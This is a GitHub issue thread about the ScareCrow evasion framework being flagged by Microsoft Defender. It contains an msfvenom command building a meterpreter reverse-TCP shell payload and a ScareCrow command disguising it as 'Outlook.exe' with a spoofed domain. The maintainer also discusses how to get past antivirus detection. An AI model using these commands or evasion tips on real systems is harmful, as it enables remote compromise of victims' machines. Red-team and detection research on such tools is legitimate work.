Detected by AV about scarecrow HOT 6 CLOSED

Can you provide more information regarding the detection?

from scarecrow.

Bumping thread?

from scarecrow.

not sure what info you need @corsch

from scarecrow.

It is important to remember that Defender is not a userland product. I would need the information about how it was caught, what type of shellcode, staged or stateless. Is this Defender ATP? What flags do you use.

from scarecrow.

Maybe i can jump in on this one?

I tried it last night for a university project and it got detected immediatly during the download.

What i was using:

Note: I was trying it with and without the encoding - same results
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<"MyIP"> LPORT=<"MyPort"> -e x86/shikata_ga_nai -i 256 -f raw -o HelloWorld_enc256.bin

./ScareCrow/ScareCrow -I HelloWorld_enc256.bin -domain www.razer.com -sandbox

got a successfully created Outlook.exe but it got detected during the download already.

i'm running Kali 2021.4 and Windows 10 VM 21H1 (Build 19043.1415)
The Detection was: Trojan:Win32/Ulthar.A!ml

from scarecrow.

So several things are going on here. First off, Defender is not a user land-based anti-malware tool and while I assume this is not the paid subscription (based on @JustForUni info) I will say that more than likely it's the shellcode (defender has indexed and signaturized 100s of variations of meterpreter being that its the most common shellcode framework for the last 10 plus years. I suspect (this is based on my experience doing implant research) that encoding using shikata_ga_nai would yield next to the difference. I would also pose if cloud-delivery protection and sample submission were enabled that they were able to scan and detect shellcode was related to Ulthar ( a threat that utilized meterpreter). Another speculation I have is that they're catching the binaries generated from scarecrow simply on signatures (I wonder if a DLL with some of the lesser-known options would work fine) Unfortunately, this is the issue with any popular tool - it becomes the focus of everyone. That being said, I am diligently working on a new version to resolve all issues. Please be patient as I develop this.

from scarecrow.